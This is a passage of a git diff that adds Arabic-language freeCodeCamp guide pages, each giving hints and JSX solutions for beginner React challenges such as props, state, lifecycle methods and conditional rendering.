+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md
new file mode 100644
index 0000000000..761b7deda6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md
@@ -0,0 +1,24 @@
+---
+title: Create a Stateless Functional Component
+localeTitle: إنشاء مكون وظيفي عديم الحالة
+---
+## إنشاء مكون وظيفي عديم الحالة
+
+### تلميح 1
+
+*   تعتبر الدوال عديمة الحالة إحدى الطرق لإنشاء مكون React.
+*   يمكن لهذه الوظائف تلقي البيانات وعرضها ، ولكنها لا تدير أو تتعقب التغييرات في تلك البيانات.
+*   لجعل componenent ، مكون بلا حالة ، وظيفة العودة هي واحدة من الأشياء الضرورية وهذا ما هو مفقود
+
+### تلميح 2
+
+تتم إضافة وظيفة إرجاع مثل هذا
+
+ `return( 
+    <return elements> 
+ ); 
+` 
+
+### حل
+
+`jsx return( <div>Completed challenge!</div> );`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md
new file mode 100644
index 0000000000..d930023fa3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md
@@ -0,0 +1,23 @@
+---
+title: Define an HTML Class in JSX
+localeTitle: تحديد فئة HTML في JSX
+---
+## تحديد فئة HTML في JSX
+
+*   قد يبدو HTML و JSX أنهما متطابقان تمامًا ولكن هناك بعض الاختلافات بينهما.
+*   أحد هذه الاختلافات هو اصطلاح التسمية.
+*   تصبح سمات HTML ومراجع الأحداث في JSX camelCase (onclick => onClick).
+*   قد تكون هناك أيضًا بعض الكلمات المحجوزة في JavaScript. على سبيل المثال ، لا يمكن استخدام الكلمة "class" لتعريف فئات HTML في JSX.Therefore بدلا من استخدام "class" ، يمكنك استخدام "className".
+
+## تلميح 1:
+
+*   قد ترغب في تغيير "class" إلى "className".
+
+## حل
+
+ `const JSX = ( 
+  <div className = "myDiv"> 
+    <h1>Add a class to this div</h1> 
+  </div> 
+ ); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md
new file mode 100644
index 0000000000..eb3c79b5b2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md
@@ -0,0 +1,18 @@
+---
+title: Give Sibling Elements a Unique Key Attribute
+localeTitle: اعطِ Sibling Elements سمة فريدة من نوعها
+---
+## اعطِ Sibling Elements سمة فريدة من نوعها
+
+## ملحوظة
+
+انها مجرد نفس [التحدي](https://learn.freecodecamp.org/front-end-libraries/react/use-array-map-to-dynamically-render-elements) السابق. فقط تحتاج إلى إضافة سمة `key` .
+
+## حل
+
+ما عليك سوى إضافة سمة `key` إلى العلامة `<li>` لجعلها فريدة
+
+ `const renderFrameworks = frontEndFrameworks.map((item) => 
+  <li key={item+1}>{item}</li> 
+ ); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/index.md
new file mode 100644
index 0000000000..a26ccf2609
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/index.md
@@ -0,0 +1,11 @@
+---
+title: React
+localeTitle: تتفاعل
+---
+## تتفاعل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/introducing-inline-styles/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/introducing-inline-styles/index.md
new file mode 100644
index 0000000000..7ee0b57f78
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/introducing-inline-styles/index.md
@@ -0,0 +1,54 @@
+---
+title: Introducing Inline Styles
+localeTitle: إدخال الأنماط الداخلية
+---
+## إدخال الأنماط الداخلية
+
+## حل
+
+يمكن أن يكون هذا الأمر صعبًا قليلاً لأن JSX يشبه إلى حد بعيد HTML ولكن **ليس نفسه** .
+
+لنستعرض الخطوات حتى تعرف الفرق. قم أولاً بتعيين علامة النمط على **كائن JavaScript** .
+
+ `class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{}}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+الآن لديك تعيين علامة النمط الخاص بك إلى كائن فارغ. لاحظ كيف أن هناك مجموعتين من الأقواس المتعرجة. هذا اختلاف مهم بين JSX و HTML.
+
+ثانيًا ، لنقم بتعيين اللون إلى اللون الأحمر.
+
+ `class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{ color: 'red' }}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+أخيرًا ، لنقم بتعيين حجم الخط إلى 72 بكسل.
+
+### المفسد
+
+ `class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{ color: 'red', fontSize: '72'}}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+لاحظ كيف أن سمة **JSX** هي **camelCase** . هذا اختلاف مهم آخر يجب تذكره حول JSX. بالإضافة إلى ذلك ، ربما لاحظت عدم وجود وحدة. في JSX ، عند تعيين سمة fontSize ، تكون **الوحدة اختيارية** وسيتم تعيينها تلقائيًا على px إذا لم يتم تعيينها يدويًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md
new file mode 100644
index 0000000000..9358e7916e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md
@@ -0,0 +1,31 @@
+---
+title: Learn About Self-Closing JSX Tags
+localeTitle: تعرف على علامات JSX ذاتية الإغلاق
+---
+## تعرف على علامات JSX ذاتية الإغلاق
+
+## تلميح 1:
+
+ `const JSX = ( 
+  <div> 
+    {/* remove comment and change code below this line // Remember that comments in JSX have parentheses. 
+    <h2>Welcome to React!</h2> <br > // ? 
+    <p>Be sure to close all tags!</p> 
+    <hr >  // ? 
+    remove comment and change code above this line */} // Remember that comments in JSX have parentheses. 
+  </div> 
+ ); 
+` 
+
+## حل
+
+ `const JSX = ( 
+  <div> 
+ 
+    <h2>Welcome to React!</h2> <br /> 
+    <p>Be sure to close all tags!</p> 
+    <hr /> 
+ 
+  </div> 
+ ); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md
new file mode 100644
index 0000000000..ae51cdcfd2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md
@@ -0,0 +1,78 @@
+---
+title: Manage Updates with Lifecycle Methods
+localeTitle: إدارة التحديثات باستخدام أساليب دورة الحياة
+---
+## إدارة التحديثات باستخدام أساليب دورة الحياة
+
+يحتوي هذا التحدي على إنشاء دالات دورة حياة الزوجية و componentWillUpdate و ComponentWillReceiveProps. سيتم تزويدك بوظيفة أخرى تسمى componentDidUpdate. سنناقش كيفية استخدامك لها في كل مرحلة من مراحل دورة حياة المكونات ولماذا يجب استخدامها عند التحقق من المراحل المختلفة للمكون.
+
+دعنا نتحدث عن الوظائف وكيف ستستخدمها. يمكن تقسيم دورات حياة المكونات إلى أربع مراحل. التهيئة -> تركيب -> تحديث -> غير المحملة. ستقع المكونات التي ستعمل معها ضمن مرحلة التحديث.
+
+التدرج الذي يتم استدعاء هذه الدالات فيه كالتالي: componentWillReceiveProps -> componentWillUpdate -> componentDidUpdate
+
+عندما تقوم بإنشاء componentWillReceiveProps ، سوف تتحقق هذه الوظيفة لمعرفة ما إذا كانت هناك مستلزمات جديدة يتم استلامها. إذا كان المكون قد تلقى دعائم جديدة ، فسيتم استدعاء الوظيفة وداخل الكتلة يمكنك مقارنة دولتي الدعم. ستأخذ الوظيفة في وسيطة تسمى عادة nextProps وستقوم بمقارنتها بهذا .props. يتمثل التحدي في إنشاء هذه الوظيفة باستخدام الوسيطة التي تم تمريرها nextProps. انظر الوظيفة المقدمة أدناه.
+
+التالي في مكون دورة حياة مكون سيتم استدعاء UPUpdate ، وسوف تحقق هذه الوظيفة لمعرفة ما إذا كان هناك أي تحديثات على الدعائم أو حالة وسيتم استدعاؤها قبل يعرض المكون. لقد وفر لك التحدى بالفعل هذه الوظيفة وقام بتسجيل الخروج "المكون على وشك التحديث".
+
+بمجرد أن يمر المكون خلال المرحلة componentWillUpdate ويعرض المكون ، سيتم استدعاء componentDidUpdate. في هذه المرحلة ، يمكنك استدعاء this.setState لتحديث أية حالات تغيير حالة حدثت خلال المرحلتين الأوليين. ملاحظة: يمكنك فقط استدعاء setState إذا قمت بالالتفاف داخل شرط ما. نظرًا لأن هذا التحدي لا يمثل سوى خدش السطح ، فإنه يريد منك تسجيل الخروج من "تحديث المكون".
+
+بمجرد الانتهاء من تنفيذ جميع وظائف دورة الحياة ، يجب أن تشاهد بعض سجلات وحدة التحكم التي يتم عرضها. أولاً ، سترى componentWillReceiveProps يرسل لك this.props و nextProps. بعد ذلك ، سترى سجل وحدة تحكم يتيح لك معرفة ذلك componentWillUpdate. أخيرًا ، بعد عرض المكون ، سيتم استدعاء المكون "DetUpdate "وسيسجل الخروج" تم تحديث المكون ".
+
+ملاحظة: تم إهمال المكونات التي تقوم بإنشائها وستكون متاحة للاستخدام حتى الإصدار 17. يمكنك العثور على مزيد من المعلومات حول هذه الوظائف في قسم الموارد أدناه.
+
+ `class Dialog extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  componentWillUpdate() { 
+    console.log('Component is about to update...'); 
+  } 
+  // change code below this line 
+ 
+  // Create componentWillReceiveProps 
+  // Pass in argument nextProps and log out the current prop and next prop 
+  componentWillReceiveProps(nextProps) { 
+    // Log the current property and the next property 
+    console.log(this.props, nextProps) 
+  } 
+ 
+  // Create function componentDidUpdate 
+  // Log out that the component has updated 
+  componentDidUpdate() { 
+    console.log("Component has updated") 
+  } 
+ 
+  // change code above this line 
+  render() { 
+    return <h1>{this.props.message}</h1> 
+  } 
+ }; 
+ 
+ class Controller extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      message: 'First Message' 
+    }; 
+    this.changeMessage = this.changeMessage.bind(this); 
+  } 
+  changeMessage() { 
+    this.setState({ 
+      message: 'Second Message' 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.changeMessage}>Update</button> 
+        <Dialog message={this.state.message}/> 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+### مصادر
+
+*   [رد فعل دورة حياة المكونات](https://reactjs.org/docs/react-component.html#the-component-lifecycle)
+*   [تفاعل مكون دورة الحياة البصرية](https://cdn-images-1.medium.com/max/2000/1*sn-ftowp0_VVRbeUAFECMA.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md
new file mode 100644
index 0000000000..fd5f94ac92
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md
@@ -0,0 +1,61 @@
+---
+title: Optimize Re-Renders with shouldComponentUpdate
+localeTitle: تحسين Re-Renders مع shouldComponentUpdate
+---
+## تحسين Re-Renders مع shouldComponentUpdate
+
+## ملحوظة:
+
+تحقق لمعرفة ما إذا كانت قيمة `nextProps` متساوية.
+
+## حل:
+
+بالنسبة لهذا الحل ، ستستخدم عبارة `if/then` للتحقق مما إذا كانت قيمة `nextProps` متساوية. تختلف `nextProps` عن `props` في أنها قيمة لم يتم تقديمها في واجهة المستخدم بعد ، لذا في أسلوب `shouldComponentUpdate()` ، فأنت تطلب بشكل أساسي إذنًا لتحديث واجهة المستخدم بقيمة `nextProps` .
+
+ `class OnlyEvens extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  shouldComponentUpdate(nextProps, nextState) { 
+    console.log('Should I update?'); 
+     // change code below this line 
+      if (nextProps.value % 2 == 0) { 
+        return true; 
+      } 
+      return false; 
+     // change code above this line 
+  } 
+  componentWillReceiveProps(nextProps) { 
+    console.log('Receiving new props...'); 
+  } 
+  componentDidUpdate() { 
+    console.log('Component re-rendered.'); 
+  } 
+  render() { 
+    return <h1>{this.props.value}</h1> 
+  } 
+ }; 
+ 
+ class Controller extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      value: 0 
+    }; 
+    this.addValue = this.addValue.bind(this); 
+  } 
+  addValue() { 
+    this.setState({ 
+      value: this.state.value + 1 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.addValue}>Add</button> 
+        <OnlyEvens value={this.state.value}/> 
+      </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/override-default-props/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/override-default-props/index.md
new file mode 100644
index 0000000000..78f42f9016
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/override-default-props/index.md
@@ -0,0 +1,28 @@
+---
+title: Override Default Props
+localeTitle: تجاوز الدعائم الافتراضية
+---
+## تجاوز الدعائم الافتراضية
+
+لقد تجاوزت هذا التحدي القيمة الافتراضية `quantity` الدعائية لمكون العناصر. حيث يتم تعيين القيمة الافتراضية `quantity` إلى `0` .
+
+ `const Items = (props) => { 
+  return <h1>Current Quantity of Items in Cart: {props.quantity}</h1> 
+ } 
+ 
+ Items.defaultProps = { 
+  quantity: 0 
+ } 
+` 
+
+لتجاوز قيمة الدعائم الافتراضية ، تكون الصيغة التي يجب اتباعها هي
+
+ `<Component propsName={Value}/> 
+` 
+
+باتباع "بناء الجملة" ، يجب أن يتم تعريف التعليمة البرمجية التالية أدناه التعليمات البرمجية المحددة
+
+ `<Items quantity={50}/> 
+` 
+
+سيؤدي هذا إلى تجاوز القيمة من `0` إلى `50`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md
new file mode 100644
index 0000000000..75c1ae202a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md
@@ -0,0 +1,45 @@
+---
+title: Pass a Callback as Props
+localeTitle: تمرير رد الاتصال على النحو الدعائم
+---
+## تمرير رد الاتصال على النحو الدعائم
+
+### وصف
+
+*   إضافة مكون `GetInput` إلى طريقة `GetInput` في MyApp ، ثم تمريرها دعامة تسمى `inpu` t المعينة إلى `inputValue` من حالة MyApp. أيضا إنشاء دعامة تسمى `handleChange` وتمرير `handleChange` معالج `handleChange` ذلك.
+*   إضافة `RenderInput` إلى طريقة `RenderInput` في MyApp ، ثم إنشاء دعم يسمى `input` وتمرير `inputValue` من حالة إليه.
+
+### إشارة
+
+*   `state` هي خاصية من فئة `Myapp` ، لذلك استخدم "this.state" للحصول على قيمة الكائن
+*   لمعرفة المزيد عن الحالة والدعائم ، اقرأ [State and Lifecycle](https://reactjs.org/docs/state-and-lifecycle.html) and [Components and Props](https://reactjs.org/docs/components-and-props.html) .
+
+### حل
+
+ `class MyApp extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      inputValue: '' 
+    } 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleChange(event) { 
+    this.setState({ 
+      inputValue: event.target.value 
+    }); 
+  } 
+  render() { 
+    return ( 
+       <div> 
+        { /* change code below this line */ 
+        <GetInput input={this.state.inputValue} handleChange={this.handleChange}/> 
+        } 
+        { /* change code above this line */ 
+        <RenderInput input={this.state.inputValue}/> 
+        } 
+       </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/pass-an-array-as-props/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/pass-an-array-as-props/index.md
new file mode 100644
index 0000000000..df78dae985
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/pass-an-array-as-props/index.md
@@ -0,0 +1,42 @@
+---
+title: Pass an Array as Props
+localeTitle: تمرير صفيف كما الدعائم
+---
+## تمرير صفيف كما الدعائم
+
+لتمرير مصفوفة كبروب ، يجب أن يتم الإعلان أولاً عن صفيف على أنه دعم "المهام" على كل مكون من المكونات التي سيتم تقديمها:
+
+ `const List= (props) => { 
+  return <p></p> 
+ }; 
+ 
+ class ToDo extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>To Do Lists</h1> 
+        <h2>Today</h2> 
+        <List tasks={["Walk", "Cook", "Bake"]} /> 
+        <h2>Tomorrow</h2> 
+        <List tasks={["Study", "Code", "Eat"]}/> 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+ثم ، يجب التعامل مع الدعائم داخل مكون "قائمة":
+
+ `const List= (props) => { 
+  return <p>{props.tasks.join(", ")}</p> 
+ }; 
+ 
+ // ... same as above 
+` 
+
+يتم استخدام طريقة `.join(", ")` لأخذ كل عنصر من داخل الصفيف ثم `.join(", ")` إلى سلسلة ليتم عرضها.
+
+نحن نستخدم نموذج رد الفعل في هذا المثال لعرض المهام التي تم تمريرها بواسطة مكونين مختلفين إلى مكون مشترك يعرض HTML النهائي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md
new file mode 100644
index 0000000000..58136fd033
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md
@@ -0,0 +1,45 @@
+---
+title: Pass Props to a Stateless Functional Component
+localeTitle: تمرير الدعائم إلى مكون وظيفي عديم الحالة
+---
+## تمرير الدعائم إلى مكون وظيفي عديم الحالة
+
+### تلميح 1
+
+حدد تاريخًا مسمى للدعم في مكون التقويم كما يلي:
+
+ `<CurrentDate date={Date()} /> 
+` 
+
+\`
+
+### تلميح 2
+
+يتم استخدام بناء الجملة prop.propName لتقديم دعم.
+
+### حل
+
+قم بتعيين تاريخ مسمى للدعم في مكون التقويم كما يلي وقم بعرضه في مكون التقويم ، مثل:
+
+ `const CurrentDate = (props) => { 
+  return ( 
+    <div> 
+      <p>The current date is: {props.date}</p> 
+    </div> 
+  ); 
+ }; 
+ 
+ class Calendar extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h3>What date is it?</h3> 
+        <CurrentDate date={Date()} /> 
+      </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md
new file mode 100644
index 0000000000..f8d258bcc8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md
@@ -0,0 +1,41 @@
+---
+title: Pass State as Props to Child Components
+localeTitle: تمرير حالة الدعائم إلى مكونات الأطفال
+---
+## تمرير حالة الدعائم إلى مكونات الأطفال
+
+في هذا التحدي ، سنمرر الدولة ، ولكن بما أن الحالة محلية لمكونها الأم ، يجب أن نستخدم **الدعائم** لتمريرها إلى المكون الفرعي. سيسمح لنا استخدام الدعائم في المكونات الفرعية بالاحتفاظ بكل بيانات الحالة في المكون الرئيسي ويمكننا تمرير البيانات في اتجاه واحد إلى مكونات الأطفال.
+
+ `class MyApp extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'CamperBot' 
+    } 
+  } 
+  render() { 
+    return ( 
+       <div> 
+         // Here we will call this.state.name in order to pass the value of CamperBot 
+         // to the NavBar component 
+         <Navbar name={this.state.name} /> 
+       </div> 
+    ); 
+  } 
+ }; 
+ 
+ class Navbar extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+    <div> 
+      // Since we passed in the CamperBot state value into the the NavBar component above 
+      // the h1 element below will render the value passed from state 
+      <h1>Hello, my name is: {this.props.name}</h1> 
+    </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md
new file mode 100644
index 0000000000..bad94d4bd7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md
@@ -0,0 +1,34 @@
+---
+title: Render a Class Component to the DOM
+localeTitle: تقديم مكون فئة إلى DOM
+---
+## تقديم مكون فئة إلى DOM
+
+من المفترض أن ينتهي رمزك بالظهور على النحو التالي:
+
+ `class TypesOfVehicles extends React.Component { 
+    constructor(props) { 
+        super(props); 
+    } 
+    render() { 
+        return ( 
+          <div> 
+          <h1>Types of Vehicles:</h1> 
+          <Car /> 
+          <Motorcycle /> 
+          </div> 
+        ); 
+    } 
+ } 
+ ReactDOM.render(<TypesOfVehicles />,'node-id') 
+` 
+
+قد يكون بناء جملة ReactDOM.render خادعاً قليلاً ، تحتاج إلى استخدام أقواس المثلث عند المرور في مكون Class. كما يتم الإعلان عن المكونين الفرعيين خلف الكواليس ، مما قد يكون مربكًا إذا كنت معتادًا على جميع المتغيرات التي يتم تحديدها في محرر الشفرة ومرئية أمامك.
+
+### ملحوظة
+
+*   استخدم document.getElementById ('id') للحصول على نقطة الهدف
+
+### رابط ذو صلة
+
+*   [عناصر التقديم](https://reactjs.org/docs/rendering-elements.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/render-conditionally-from-props/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/render-conditionally-from-props/index.md
new file mode 100644
index 0000000000..5701c518c1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/render-conditionally-from-props/index.md
@@ -0,0 +1,34 @@
+---
+title: Render Conditionally from Props
+localeTitle: تجعل مشروط من الدعائم
+---
+## تجعل مشروط من الدعائم
+
+هذا هو التحدي صعبة بعض الشيء ولكن من السهل على الرغم من.
+
+## حل
+
+تغيير `handleClick()` مع العبارة `handleClick()` المناسبة.
+
+ `handleClick() { 
+  this.setState({ 
+    counter: this.state.counter + 1 
+  }); 
+ } 
+` 
+
+في `render()` استخدام أسلوب `Math.random()` كما جاء في وصف التحدي وكتابة التعبير الثلاثي لتمرير `props` في مكون **نتائج.**
+
+ ` let expression = Math.random() > .5; 
+ 
+ {(expression == 1)? <Results fiftyFifty="You win!"/> : <Results fiftyFifty="You lose!"/> } 
+` 
+
+ثم تقديم الدعائم `fiftyFifty` في مكون النتائج.
+
+ `  <h1> 
+  { 
+    this.props.fiftyFifty 
+  } 
+  </h1> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md
new file mode 100644
index 0000000000..93f1064a3e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md
@@ -0,0 +1,17 @@
+---
+title: Render HTML Elements to the DOM
+localeTitle: تقديم عناصر HTML إلى DOM
+---
+# تقديم عناصر HTML إلى DOM
+
+لتقديم عنصر إلى DOM ، نستخدم بناء الجملة التالي
+
+ `ReactDOM.render(<item to be rendered>, <where to be rendered>); 
+` 
+
+## حل
+
+بعد بناء الجملة ، نضيف هذا السطر من التعليمة البرمجية لتحويل عنصر JSX إلى div بمعرف عقدة التحدي.
+
+ `ReactDOM.render(JSX,document.getElementById('challenge-node')); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md
new file mode 100644
index 0000000000..7507fb9f7a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md
@@ -0,0 +1,22 @@
+---
+title: Render React on the Server with renderToString
+localeTitle: تجعل رد فعل على الخادم مع renderToString
+---
+## تجعل رد فعل على الخادم مع renderToString
+
+## حل:
+
+يمكنك تمرير `class` `.renderToString()` إلى `.renderToString()` مثلما تقوم بتمرير مكون إلى طريقة `render` .
+
+ `class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return <div/> 
+  } 
+ }; 
+ 
+ // change code below this line 
+ ReactDOMServer.renderToString(<App />); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md
new file mode 100644
index 0000000000..315cf75245
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md
@@ -0,0 +1,54 @@
+---
+title: Render State in the User Interface Another Way
+localeTitle: تقديم الدولة في واجهة المستخدم بطريقة أخرى
+---
+## تقديم الدولة في واجهة المستخدم بطريقة أخرى
+
+#### تلميح 1:
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    // change code below this line 
+            // Remember that how you can access the property of a state. 
+    // change code above this line 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+            // Just use the const "name" inside the h1 tag. 
+            // Dont forget to use JSX syntax "{ curly braces for JavaScript }". 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+## حل
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    // change code below this line 
+    const name = this.state.name; 
+    // change code above this line 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+          <h1>{name}</h1> 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md
new file mode 100644
index 0000000000..67a1c1bd7b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md
@@ -0,0 +1,32 @@
+---
+title: Render State in the User Interface
+localeTitle: تقديم الدولة في واجهة المستخدم
+---
+## تقديم الدولة في واجهة المستخدم
+
+في هذا التحدي ، ستحتاج إلى تقديم قيمة حالة في العلامة `<h1>` ، بسيطة جدًا.
+
+## ملحوظة
+
+ما عليك سوى إنشاء علامة `<h1>` `this.state.name` العلامة `this.state.name` بين العلامة.
+
+## حل
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+        <h1>{this.state.name}</h1> 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md
new file mode 100644
index 0000000000..a2eb393565
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md
@@ -0,0 +1,34 @@
+---
+title: Render with an If/Else Condition
+localeTitle: تقديم مع حالة If / Else
+---
+## تقديم مع حالة If / Else
+
+### طريقة
+
+داخل طريقة تقديم المكون ، قم بكتابة / else عبارات تحتوي كل منها على طريقة إرجاع خاصة بها JSX مختلفة. وهذا يعطي المبرمجين القدرة على تقديم واجهة المستخدم المختلفة وفقا لظروف مختلفة.
+
+أولاً ، قم بلف أسلوب الإرجاع الحالي داخل جملة if وقم بتعيين الشرط للتحقق مما إذا كان المتغير 'display' هو الصحيح. تذكر ، يمكنك الوصول إلى الحالة باستخدام `this.state` .
+
+### حل
+
+ `if (this.state.display === true) { 
+  return ( 
+    <div> 
+      <button onClick={this.toggleDisplay}>Toggle Display</button> 
+      <h1>Displayed!</h1> 
+    </div> 
+  ); 
+ } 
+` 
+
+بعد ذلك ، قم بإنشاء عبارة أخرى تقوم بإرجاع JSX نفسه **بدون** عنصر `h1` .
+
+ `else { 
+  return ( 
+    <div> 
